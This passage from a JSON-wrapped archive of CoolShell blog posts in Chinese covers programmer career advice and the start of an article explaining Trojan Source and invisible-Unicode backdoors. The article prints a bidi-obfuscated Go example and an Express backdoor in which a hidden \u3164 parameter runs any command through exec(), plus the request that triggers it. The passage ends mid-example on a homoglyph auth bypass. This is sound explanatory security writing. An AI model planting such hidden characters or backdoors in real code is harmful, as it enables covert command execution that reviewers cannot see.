src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3453.html\">Sony PS3 Root Key 被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21003.html\">计时攻击 Timing Attacks</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-8-7 程序员如何把控自己的职业.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-21059 size-medium\" height=\"300\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-196x300.png\" width=\"196\"/>这篇文章的主要内容主要是我今年3月份在腾讯做的直播，主要是想让一些技术人员对世界有一个大体的认识，并且在这个认识下能够有一个好的方法成就自己。而不是在一脸蒙圈的状态下随波逐流，而日益迷茫和焦虑。直播完后，腾讯方面把我的直播形成文字的形式发了出来，我觉得我可以再做一个精编版。所以，有了这篇文章，希望对大家有帮助。</p>\n<p>对我来说，在我二十多年的工作经历来看，期间经历了很多技术的更新换代，整个技术模式、业务模式也是一直变来变去，我们这群老程序员成长中所经历的技术比今天的程序员玩的还更杂更多。我罗列一下我学过的，而且还被淘汰掉的技术，大家先感受一下。</p>\n<pre>- MIS应用开发：FoxPro，PowerBuilder，Delphi\n- OA：Lotus Notes，VBScripts\n- 微软：ODBC/ADO，COM/DCOM，MFC/ATL，J++\n- 服务器：AIX，HP-UX，SCO Unix\n- Web：CGI，ISAPI，SOAP\n- RPC：CICS，Tuxedo\n- J2EE：Websphere，Weblogic\n- DB：Sybase，Informix \n</pre>\n<p>我想说的是，无论过去还是今天，我们这些前浪和你们后浪所面对的技术的挑战和对技术的焦虑感是相似的，我们那个时候不但玩996，还玩封闭开发（就是一周只能回家一天）。当然，唯一好的东西，就是比起今天的程序员来说，我们那个年代没有像微信、微博、知乎，抖音这些巨大消耗你人生的东西，所以，我们的工作、生活和成长都有很效率，不会被打断、喜欢看书、Google还没有被封……当然，那时代没有StackOverlow和Github这样的东西，所以，能完成的东西或质量都一般。</p>\n<p><span id=\"more-20977\"></span></p>\n<p>当然，这里并不是想做一个比较，只是想让大家了解一下两代程序员间的一些问题各有千秋，大同小异。在整个成长过程中，其实有很多东西是相通的，其本上来说，就是下面的三件事——</p>\n<p><strong>第一</strong>，如果想要把控技术，应对这个世界的一些变化，<strong>需要大致知道这个世界的一些规律和发展趋势，另外还得认识自己</strong>，自己到底适合做什么？在这个趋势和规律下属于自己的发挥领域到底是什么？这是我们每个人都需要了解的。</p>\n<p><strong>第二</strong>，<strong>打牢基础，以不变应万变</strong>，不管世界怎样变化，我都能很快适应它。基础的重要程度对于你能够飞多高是相当有影响的，懂原理的人比不懂原理的人能做出来的事情或是能解决的问题完全是两个层级的。</p>\n<p><strong>第三，提升成长的效率</strong>，因为现在社会的节奏实在太快了，比二十年前快得太多，技术层出不穷，所以我们的成长也要更有效率。效率并不单指的快，效率是怎么样更有效，是有用功除以总功（参看《<a href=\"https://coolshell.cn/articles/10217.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"加班与效率\">加班与效率</a>》），怎么学到更有效的东西，或者怎么更有效学习，是我们需要掌握的另一关键。</p>\n<p>下面是我这多年来的一些认识，希望对你有帮助。</p>\n<h4>世界发展趋势</h4>\n<p><strong>我个人经历的信息化革命应该分成三个阶段：</strong></p>\n<ul>\n<li><strong>1990年代到2000年，这个时代MB时代</strong>，是雅虎、新浪、搜狐、网易门户网站的时代，这个时代就是ISP/ICP互联网提供商，把一些资讯数字化，然后发布到网络上。</li>\n<li><strong>2000年到2010年，这个时代叫GB时代，或是叫多媒体或UGC时代</strong>，上网开始变得普遍了，每个人手里的数码设备开始变得多了起来，可以上传照片，可以上传视频，甚至可以在网上做社交。</li>\n<li><strong>2010年到2020年，这个时代叫TB时代，这过去的十年是移动互联网时代</strong>，移动互联网只需要手机在线，不需要依靠电脑。因为手机随时在线，所以个人的各种各样的数据始终在被收集，只要用户上网就会产生数据，所以人的行为最终也被数字化了。</li>\n</ul>\n<p>所有的硬件和软件都是跟着需要处理的数据而演进的，我们需要更大的带宽，更大的硬盘，更多的处理器……大到一定时候就只能进入分布式化的技术架构了，再大，数据中心也顶不住了，就会要引入更为分布式的边缘计算了。</p>\n<p>另一方面，从业务上来看，<strong>我们可以看到整个世界就在不断地进行数字化，因为，只要数字化了，就可以进行复制传播和计算，只要可以进行计算了，就可以进行数学建模，就可以自动化，只要可以自动化了就可以规模化，只要可能规模化了，就可以改变整个行业</strong>。人类的近代史的大趋势基本上都是在解决能源和自动化的事，源源不断的能源是让机器不知疲倦的前提条件，用机器代替牲口，代替人类进行工作是规模化的前提条件。</p>\n<p>所以，<strong>技术的演进规律基本是自动化加规模化，从而降低成本，提升效率</strong>。这就是为什么世界变得越来越快，人类都快跟不上节奏的原因，主要是整个社会不断被机器、数据所驱动。</p>\n<h4>人才需求</h4>\n<p>在这个过程中，需要什么样的人？下面是我的一些认识——</p>\n<ul>\n<li><strong>技工</strong>，在机器和自动化面前，肯定是需要能够操作机器的技术工人了，这类人是有技术的劳动力。在编程的圈子里俗称“码农”，他们并不是真正的工程师，他们只是电脑程序的操作员，所以，<strong>随着技术门槛的下降或是技术形式的变更他可能就会变得越来越不值钱，直到被淘汰掉</strong>。</li>\n<li><strong>特种工</strong>，这种人是必须了解原理和解决难题的一类人，他们是解决比较难的、特定的一些技术问题。<strong>当一种技术被淘汰，他并不容易被淘汰，因为他懂原理，原理就是解决问题的能力，是解决问题的套路和方法</strong>。</li>\n<li><strong>工程师</strong>，不但是使用技术，还可以把活儿做好，他们认为代码更多的时间是在维护，这些人使用各种各样的手段和各种技术，精益求精地持续不断地提高代码的易读性、扩展性、可维护性和重用性，这个过程似乎永无止境。对于这些有“洁癖”，有“工匠精神”，有“修养”的技术人员，我们称他们为工程师。<strong>这种人做事又稳又快，而且可以做出很多称手的工具和方法论</strong>。</li>\n<li>再往上是<strong>设计师和架构人员</strong>，这些人主要是开发一些工具，框架，模式，提升软件开发和维护效率，同时也提升用户体验，和提升稳定性、性能、代码重用等，总的来说就是为了降本增效。这类人的工作降低了技术得到门槛，他们把技术门槛降低了以后，就可以把这个技术普及开来，就可以由广大劳工、技工、特殊工人使用了。</li>\n<li>还有一类人是<strong>经理</strong>，经理主要是组织团队、完成项目、创造利润。这类人中，即有身先士卒的leader，也有高高在上的boss，但无论怎么样，这些人只不过是为了让一个公司或是一个团队更好组织在一起的“粘合剂”，这类人只有在大公司中才会变成更有价值。</li>\n</ul>\n<p>这就是我总结的世界需要哪些人才，我们了解这些东西以后大概就明白我们现在所处的位置有什么样的问题，我们应该去什么样的地方。</p>\n<h4>Google评分卡</h4>\n<p>接下来，我们再来看看Google的SRE的自我评分卡：</p>\n<blockquote><p><span style=\"color: #808000; font-size: 10pt; font-style: normal;\">0 – 对于相关的技术领域还不熟悉</span><br/>\n<span style=\"color: #808000; font-size: 10pt; font-style: normal;\">1 – 可以读懂这个领域的基础知识</span><br/>\n<span style=\"color: #808000; font-size: 10pt; font-style: normal;\">2 – 可以实现一些小的改动，清楚基本的原理，并能够在简单的指导下自己找到更多的细节。</span></p>\n<p><span style=\"color: #008000; font-size: 10pt; font-style: normal;\">3 – 基本精通这个技术领域，完全不需要别人的帮助</span><br/>\n<span style=\"color: #008000; font-size: 10pt; font-style: normal;\">4 – 对这个技术领域非常的熟悉和舒适，可以应对和完成所有的日常工作。</span></p>\n<ul>\n<li><span style=\"color: #008000; font-size: 10pt; font-style: normal;\">对于软件领域 – 有能力开发中等规模的程序，能够熟练和掌握并使用所有的语言特性，而不是需要翻书，并且能够找到所有的冷知识。</span></li>\n<li><span style=\"color: #008000; font-size: 10pt; font-style: normal;\">对于系统领域 – 掌握网络和系统管理的很多基础知识，并能够掌握一些内核知识以运维一个小型的网络系统，包括恢复、调试和能解决一些不常见的故障。</span></li>\n</ul>\n<p><span style=\"color: #008000; font-size: 10pt; font-style: normal;\">5 – 对于该技术领域有非常底层的了解和深入的技能。</span></p>\n<p><span style=\"color: #3366ff; font-size: 10pt; font-style: normal;\">6 – 能够从零开发大规模的程序和系统，掌握底层和内在原理，能够设计和部署大规模的分布式系统架构</span><br/>\n<span style=\"color: #3366ff; font-size: 10pt; font-style: normal;\">7 – 理解并能利用高级技术，以及相关的内在原理，并可以从根本上自动化大量的系统管理和运维工作。</span><br/>\n<span style=\"color: #3366ff; font-size: 10pt; font-style: normal;\">8 – 对于一些边角和晦涩的技术、协议和系统工作原理有很深入的理解和经验。能够设计，部署并负责非常关键以及规模很大的基础设施，并能够构建相应的自动化设施</span></p>\n<p><span style=\"color: #993300; font-size: 10pt; font-style: normal;\">9 – 能够在该技术领域出一本经典的书。并和标准委员会的人一起工作制定相关的技术标准和方法。</span><br/>\n<span style=\"color: #993300; font-size: 10pt; font-style: normal;\">10 – 在该领域写过一本书，被业内尊为专家，并是该技术的发明人。</span></p></blockquote>\n<p>SRE需要自评如下这些技术或技能。</p>\n<blockquote><p>– TCP/IP Networking (OSI stack, DNS etc)<br/>\n– Unix/Linux internals<br/>\n– Unix/Linux Systems administration<br/>\n– Algorithms and Data Structures<br/>\n– C/C++<br/>\n– Python<br/>\n– Java<br/>\n– Perl<br/>\n– Go<br/>\n– Shell Scripting (sh, Bash, ksh, csh)<br/>\n– SQL and/or Database Admin<br/>\n– Scripting language of your choice (not already mentioned) _____________<br/>\n– People Management<br/>\n– Project Management</p></blockquote>\n<p>这个评分卡是面试Google前需要候选人对自己的各种技术进行自评，也算是一种技术人员的等级的度量尺，其把技术的能分成11个等级，我用颜色把其它成四大层级，希望这个评份卡能够给你一个能力提升的参考标准。</p>\n<h4>认识自己</h4>\n<p>认识了世界是怎么发展的，也知道技术人员的种类和层级，那么还要了解一下自己，因为如果不了解自己，那么你也无法找到自己的路和适合自己的地方。</p>\n<p>我觉得，一个人要认识自己就需要认识自己的特长、兴趣、热情、擅长等，下面是一个认识自己的标准方法：</p>\n<ul>\n<li><strong>特长</strong>。首先你要找得到自己特长。你要认识自己的特长，找到自己的天赋，找到你在DNA里比别人强的东西，就拿你的DNA跟别人竞争就好了。所以你要找到自己可以干成的事，找到别人找你请教的事，你身边人找你请教就是说明你有特长。这是找到自己特长非常非常重要，扬长避短。</li>\n<li><strong>兴趣</strong>。如果你没有找到自己特长，就找自己有兴趣有热情的东西。什么叫兴趣？兴趣是再难再累都不会放弃的事。如果你遇到困难就会放弃不叫兴趣，那叫叶公好龙。不怕困难，痴迷其中，就算你没有特长，有了这种特质，你也是头部的人才。</li>\n<li><strong>方法</strong>。如果你没有特长，没有兴趣和热情就要学方法。这种方法就是要有时间观念，要会做计划，要懂统筹、规划对于做过的事情，犯过的错误多总结，举一反三，喜欢自己找答案，自己探究因果关系，这是一些方法，自己总结一些套路。</li>\n<li><strong>勤奋。</strong>如果你没有特长，没有兴趣，也没有方法，你还能做的事就是勤奋，勤奋注定会让你成为一个比较劳累的人，也是很有可能被淘汰的人随着你的年纪越来越大，你的勤奋也会越来越不值钱。因为年轻人会比你更勤奋，比你更勤奋、比你斗志更强，比你能力更强，比你要钱更少的人会出现。勤奋最不值钱，但是只要你勤奋至少能够自食其力。</li>\n</ul>\n<p>以上就是为了应对未来技术变化，作为个人必须要从特长、兴趣、方法一层一层筛选挖掘，<strong>如果没有这些你就要努力和勤奋。就只能接受“福报”了</strong>。</p>\n<p>从我个人而言，我不算是特别聪明的人，但自认为对技术还是比较感兴趣的，难的我不怕。有很多比较难啃的技术，聪明点的人啃一个月就懂了，我不行，我可能啃半年。但是没有关系，知识都是死的，只要不怕困难总有一天会懂的。最可怕是畏难，为自己找借口，这样就不太好了。</p>\n<h4>打好基础</h4>\n<p>最前面提到我学的各式各样的被淘汰的技术，会让你感觉很迷茫，或是迷失。但前面也提到了“谷歌评分卡”，在这个评分卡中，我们看到了许多基础原理方面的内容，其实要应对未来的变化，很重要的一点就是无招胜有招，以不变应万变。</p>\n<p><strong>变化都是表面的东西，内在的东西其实并没有太多的变化</strong>。理论层面上变得不多，反而形式上的东西今天一个花样，明天一个花样，所以如果要去应对这种变化，就一定要打牢自己的基础，提升内功修养。比如像编程的一些方式和套路，修饰模式原理本质，解耦，提升代码的重用度等。提升代码重用度必须解耦，要跟现实解耦，提升抽象，这些都是一些技术基础。无论用什么语言，都是这么做的。</p>\n<p>打牢基础就可以突破瓶颈，不打牢基础没有办法突破瓶颈。<strong>在技术世界不要觉得量变会造成质变，这是不可能的</strong>。技术这个东西就像搞建筑砌砖头，砌砖头砌的再多也不可能让你能成为一个架构师的，因为你<strong>不懂原理，不懂科学方法，你就不可能成长上去的</strong>，就像学数学一样，当你掌握了微积分这种大杀器后，你解题的能力是无所披靡，而微积分这种方式绝对不是你能“量变”出来的。</p>\n<p>所以你必须学习基础的理论知识，如果不学这些基础理论知识，还要学习解题思路和方法，如果你只学在表面，那么当这个技术的形式有变化，就会发现以前学的都没用了，要重头学一遍。<strong>掌握技术基础可以让自己找到答案和知识，基础是抽象和归纳，很容易形成进一步的推论</strong>。我们学的很多技术实现都逃不脱基础原理，不管是Java，还是其他语言，只要用TCP用的都是相同的原理，逃不出范围，<strong>只要抓住原理，举一反三，时间一长了，甚至还可以自己推导答案</strong>。对于技术的基础，我会把其它成四类：</p>\n<ul>\n<li><strong>程序语言</strong>：语言的原理，类库的实现，编程技术（并发、异步等），编程范式，设计模式……</li>\n<li><strong>系统原理</strong>：计算机系统，操作系统，网络协议，数据库原理……</li>\n<li><strong>中间件</strong>：消息队列，缓存系统，网关代理，调度系统 ……</li>\n<li><strong>理论知识</strong>：算法和数据结构，数据库范式，网络七层模型，分布式系统……</li>\n</ul>\n<p><strong>这些知识其实就是一个计算机科学专业的学生他所要学习的原理</strong>，但可惜的是，我们的一些学校教得也很糟糕，不但老师能力不足，而且放着世界上最优秀的教课书不用了，一定要自己写一本。讲也讲不全，还有各种错误，哎……总之，如果你学习用用到的教材不行，那么可以肯定的是你的学习效率一定是很糟糕的。这就是为什么我们大学上完了，还是跟个傻瓜一样，还要在工作中再重新自学。</p>\n<p>不过，就算自学，这些基础技术大概需要四五年的时间堆叠。<strong>我工作二十年了，这二十年来基本还是这些原理没变，无论形式怎么变，但是核心永远还是这些，理论创新很难，这是以不变应万变</strong>。</p>\n<h4>学习效率</h4>\n<p><img alt=\"\" class=\"alignright wp-image-21049\" height=\"361\" src=\"../wp-content/uploads/2020/08/learning.pyrimid.jpg\" width=\"384\"/>谈到学习效率，就需要拿出这张学习金字塔的图来了。从图可以看到学习方法分布两层，一种是被动学习，也是浅度学习，听讲，阅读，视听，演示都是在被动学习，而与人讨论，自己动手实践，教授给别人是主动学习。主动学习我们称之为深度学习，如果你不能深度学习，你就不能真正学到东西。这也是你会经常有“学那么多干什么，不用就忘了”，这就是浅度学习的症状了。</p>\n<p>下面，我给出一些我自己觉得不错的学习经验：</p>\n<p><strong>1、挑选一手知识和信息源。</strong>对于学习方法：第一我们一定要到知识源去挑选知识，知识信息源非常关键，二手信息丢失太大了，谭浩强写的书就丢失太多信息了。<strong>目前计算机一手知识基本都是国外的</strong>，所以<strong>英文非常重要</strong>。我鼓励大家一定读第一手的资料。如果你英语有问题，至少要看翻译过来，最好是原汁原味翻译的，不要我理解了给你讲那种，那种也是被别人嚼一遍再讲给你你没有体会，是别人带着你，别人的体会会影响你，也许你的体会会比他更好，因为是你自己总结出来的东西，所以知识源很重要。</p>\n<p><strong>2、注意原理和基础</strong><strong>第二要注重基础原理</strong>。虽然可以忘记这个技术，但是原理记在心里，我可以徒手实现出来，而且通过原理可以更快学习其他类似的技术。所以原理很重要！当你学会C、C++要学Java和GO都很快。</p>\n<p><strong>3、使用知识图谱</strong><strong>一定要学会使用知识图</strong>，把知识结构化。从一个技术关键点开始不断地关联和细化下去，比如：关于TCP协议，首先第一个要记住状态图，怎么建立连接，怎么断连接，状态怎么变迁。TCP没有连接，是靠状态维护连接的。其次，要了解TCP怎么保证可靠性，就是丢包以后怎么重传，重传有哪些技术点。然后，重传会让你联想到拥塞控制，拥塞控制到滑动窗口……。这基本就是TCP的所有东西了，找到关键点，然后顺着这个脉络一点点往下想，通过知识图关联就可以进行顺藤摸瓜。我们不需要记所有知识，那些<strong>手册的知识不需要记，你知道在哪里能找到就可以了</strong>。你脑子里面要有地图，学一个东西就跟在城市生活一样，闭上眼睛就知道地图，A点到B点怎么去大概方向要知道。我在北京我去广州，广州在南边，我大概坐飞机还是火车要心里有数。。</p>\n<p><strong>4、学会举一反三</strong>。就是用不同方法学一个东西，比如说学TCP协议，看书是一种方法，编程是另外一种方法，还有用做Debug去看的，用不同方法学一个东西会让你更加熟悉，你学一个知识的同时把周边也学了。比如说学前端能不能把HTTP学一下，比如说长连接、短连接，包括hp1、hp2有一些不一样的东西。</p>\n<p><strong>5、总结和归纳。</strong>只有学会总结和归纳，才能形成自己的思维框架、自己的套路、自己的方法论，以后学这个东西应该怎么学。就像学一门新的语言，不管GO语言，还是Rust语言，第一件事情就是了解内存是怎么管理的，数据类型什么样，第二是泛型怎么搞，第三是并发怎么弄。还有一些抽象怎么弄，比如说怎么解耦，怎么实现多态？套路这种东西只有学的多了以后才能形成套路，如果你只学会一门语言不会有套路，你要每年学门语言，不用学多精，你思考这个语言有什么不一样，为什么这个这种有玩法，那个有那种玩法，这些东西思考多了套路方法论就出来了。比如说Windows和Linux有什么不同，Linux和Unix又有什么不同？只有总结自己的框架、套路和方法，这些才永远不会被淘汰。</p>\n<p><strong>6、实践和坚持。</strong>剩下就是多做多练，多坚持，只有实践才会有经验，只有锻炼了才能够把自己的脂肪变没，所以，<strong>要把知识变成技能必须练</strong>，就像小学生学会加减乘除，还是要演练，必须多做题，题目做得多了，自然掌握得好。要挑选好的知识源，注重原理技术，有一些原理的基础的书太枯燥，但是我告诉你学习这些基础太值得投入时间，搬砖赚几十元不值得，因为赚的是辛苦钱，老了就赚不了，必须要赚更有能力的钱，这是学习投资。</p>\n<h4>小结</h4>\n<p>好了，该到这篇文章收尾的时候了，小结一下，如果你想更好的把握时代，提升自己，你需要知道这个时代的趋势是什么，需要什么样的人，这些人需要什么样的能力，这些能力是怎么获得的，投入到基础知识的学习就像“基建”一样，如果基础不好，不能长高，学习能力也是需要适应这个快速时代的重要的基础能力，没有好的学习能力，很快就会掉队被淘汰。</p>\n<p>这些东西，是我从业二十年来的总结和体会，希望对你有用。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20276.html\"><img alt=\"别让自己“墙”了自己\" height=\"150\" src=\"../wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20276.html\">别让自己“墙”了自己</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2021-11-19 源代码特洛伊木马攻击.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-21658\" height=\"270\" src=\"../wp-content/uploads/2021/11/il_340x270_pggv.jpg\" width=\"340\"/>最近，我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.”也就是说我们的代码中有一些 bidirectional unicode 的文本，中文直译作 “双向文本”，意思是一些语言是从左到右的，而另一些则是是从右到左的（如：阿拉伯语），如果同一个文件里，即有从左向右的文本也有从右向左文本两种的混搭，那么，就叫bi-direction。术语通常缩写为“ <b>BiDi</b> ”或“ <b>bidi</b> ”。使用双向文本对于中国人来说并不陌生，因为中文又可以从左到右，也可以从右到左，还可以从上到下。</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-21652\" height=\"206\" src=\"../wp-content/uploads/2021/11/1637305049427-1024x329.jpg\" width=\"640\"/></p>\n<p>早期的计算机仅设计为基于拉丁字母的从左到右的方式。添加新的字符集和字符编码使许多其他从左到右的脚本能够得到支持，但不容易支持从右到左的脚本，例如阿拉伯语或希伯来语，并且将两者混合使用更是不可能。从右到左的脚本是通过<a href=\"https://en.wikipedia.org/wiki/ISO/IEC_8859-6\" title=\"ISO/IEC 8859-6\">ISO/IEC 8859-6</a>和<a href=\"https://en.wikipedia.org/wiki/ISO/IEC_8859-8\" title=\"ISO/IEC 8859-8\">ISO/IEC 8859-8</a>等编码引入的，通常以书写和阅读顺序存储字母。可以简单地将从左到右的显示顺序翻转为从右到左的显示顺序，但这样做会牺牲正确显示从左到右脚本的能力。通过双向文本支持，可以在同一页面上混合来自不同脚本的字符，而不管书写方向如何。</p>\n<p><span id=\"more-21649\"></span></p>\n<p>双向文本支持是计算机系统正确显示双向文本的能力。对于Unicode来说，其标准为完整的 BiDi 支持提供了基础，其中包含有关如何编码和显示从左到右和从右到左脚本的混合的详细规则。你可以使用一些控制字符来帮助你完成双向文本的编排。</p>\n<p>好的，科普完“双向文本”后，我们正式进入正题，为什么Github 会出这个警告？Github的官方博客“<a href=\"https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/\" rel=\"noopener\" target=\"_blank\">关于双向Unicode的警告</a>”中说，使用一些Unicode中的用于控制的隐藏字符，可以让你代码有着跟看上去完全不一样的行为。</p>\n<p>我们先来看一个示例，下面这段 Go 的代码就会把 “Hello, World”的每个字符转成整型，然后计算其中多少个为 1 的 bit。</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"fmt\"\n\nfunc main() {\n  str, mask := \"Hello, World!‮10x‭\", 0\n\n  bits := 0\n  for _, ch := range str {\n    for ch &gt; 0 {\n      bits += int(ch) &amp; mask\n      ch = ch &gt;&gt; 1\n    }\n  }\n  fmt.Println(\"Total bits set:\", bits)\n}</pre>\n<p>这个代码你看上去没有什么 奇怪的地方，但是你在执行的时候（可以直接上Go Playground上执行  –<a href=\"https://play.golang.org/p/e2BDZvFlet0\" rel=\"noopener\" target=\"_blank\"> https://play.golang.org/p/e2BDZvFlet0</a>），你会发现，结果是 0，也就是说“Hello, World”中没有值为 1 的 bit 位。这究竟发生了什么事？</p>\n<p>如果你把上面这段代码拷贝粘贴到字符界面上的 vim 编辑器里，你就可以看到下面这一幕。</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-21653\" height=\"324\" src=\"../wp-content/uploads/2021/11/1637307319589.jpg\" width=\"500\"/></p>\n<p>其中有两个浅蓝色的尖括号的东西—— <code>&lt;202e&gt;</code> 和 <code>&lt;202d&gt;</code> 。这两个字符是两个Unicode的控制字符（注：完整的双向文本控制字符参看 <a href=\"https://www.compart.com/en/unicode/bidiclass\" rel=\"noopener\" target=\"_blank\">Unicode Bidirectional Classes</a>）：</p>\n<ul>\n<li><strong>U+202E – Right-to-Left Override [RLO] </strong><br/>\n表示，开始从右到左显示，于是，接下来的文本 <code>10x\", 0</code> 变成了 <code>0 ,\"x01</code></li>\n<li><strong>U+202D – Left-to-Right Override [LRO]</strong><br/>\n表示，开始从左到右显示，于是，<code>0,\"x01</code> 中的前4个字符<code>0 ,\"</code> 反转成  <code>\", 0</code>，于是整个文本成了 <code>\", 0x01</code></li>\n</ul>\n<p>所以，你在视觉上看到的是结果是—— <code>\"Hello, World!”, 0x01</code>， 但是实际上是完全是另外一码事。</p>\n<p>然后，Github官方博客中还给了一个安全问题 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42574\">CVE-2021-42574</a> ——</p>\n<blockquote><p>在 Unicode 规范到 14.0 的双向算法中发现了一个问题。它允许通过控制序列对字符进行视觉重新排序，可用于制作源代码，呈现与编译器和解释器执行逻辑完全不同的逻辑。攻击者可以利用这一点对接受 Unicode 的编译器的源代码进行编码，从而将目标漏洞引入人类审查者不可见的地方。</p></blockquote>\n<p>这个安全问题在剑桥大学的这篇论文“<a href=\"https://www.trojansource.codes/\" rel=\"noopener\" target=\"_blank\">Some Vulnerabilities are Invisible</a>”中有详细的描述。其中PDF版的文章中也给了这么一个示例：</p>\n<p>通过双向文本可以把下面这段代码：</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-21655\" height=\"240\" src=\"../wp-content/uploads/2021/11/1637308872541.jpg\" width=\"569\"/></p>\n<p>伪装成下面的这个样子：</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-21654\" height=\"245\" src=\"../wp-content/uploads/2021/11/1637308847435.jpg\" width=\"580\"/></p>\n<p>在图 2 中<code>'alice'</code>被定义为价值 100，然后是一个从 Alice 中减去资金的函数。最后一行以 50 的值调用该函数，因此该小程序在执行时应该给我们 50 的结果。</p>\n<p>然而，图 1 向我们展示了如何使用双向字符来破坏程序的意图：通过插入<strong>RLI (Right To Left Isolate)</strong><i> – </i><strong>U+2067</strong><i>，</i>我们将文本方向从传统英语更改为从右到左。尽管我们使用了减去资金功能，但图 1 的输出变为 100。</p>\n<p>除此之外，支持Unicode还可以出现很多其它的攻击，尤其是通过一些“不可见字符”，或是通过“同形字符”在源代码里面埋坑。比如文章“<a href=\"https://certitude.consulting/blog/en/invisible-backdoor/\" rel=\"noopener\" target=\"_blank\">The Invisible Javascript Backdoor</a>”里的这个示例：</p>\n<pre class=\"EnlighterJSRAW\">const express = require('express');\nconst util = require('util');\nconst exec = util.promisify(require('child_process').exec);\n\nconst app = express();\n\napp.get('/network_health', async (req, res) =&gt; {\n    const { timeout,ㅤ} = req.query;\n    const checkCommands = [\n        'ping -c 1 google.com',\n        'curl -s http://example.com/',ㅤ\n    ];\n\n    try {\n        await Promise.all(checkCommands.map(cmd =&gt; \n                cmd &amp;&amp; exec(cmd, { timeout: +timeout || 5_000 })));\n        res.status(200);\n        res.send('ok');\n    } catch(e) {\n        res.status(500);\n        res.send('failed');\n    }\n});\n\napp.listen(8080);</pre>\n<p>上面这个代码实现了一个非常简单的网络健康检查，HTTP会执行 <code>ping -c 1 google.com</code> 以及 <code>curl -s http://example.com</code> 这两个命令来查看网络是否正常。其中，可选输入 HTTP 参数<code>timeout</code>限制命令执行时间。</p>\n<p>然后，上面这个代码是有不可见的Unicode 字符，如果你使用VSCode，把编码从 Unicode 改成 DOS (CP437) 后你就可以看到这个Unicode了</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-21656\" height=\"577\" src=\"../wp-content/uploads/2021/11/1637310735683-1024x923.jpg\" width=\"640\"/></p>\n<p>于是，一个你看不见的 <code>πàñ</code> 变量就这样生成了，你再仔细看一下整个逻辑，这个看不见的变量，可以让你的代码执行他想要的命令。因为，http 的请求中有第二个参数，这个参数可奖在后面被执行。于是我们可以构造如下的的 HTTP 请求：</p>\n<p style=\"text-align: center;\"><strong>http://host:port/network_health?%E3%85%A4=&lt;any command&gt;</strong></p>\n<p>其中的，%E3%85%A4 就是 <code>\\u3164</code> 这个不可见Unicode 的编码，于是，一个后门代码就这样在神不知鬼不觉的情况下注入了。</p>\n<p>另外，还可以使用“同形字符”，看看下面这个示例：</p>\n<pre class=\"EnlighterJSRAW\">if(environmentǃ=ENV_PROD){\n    // bypass authZ 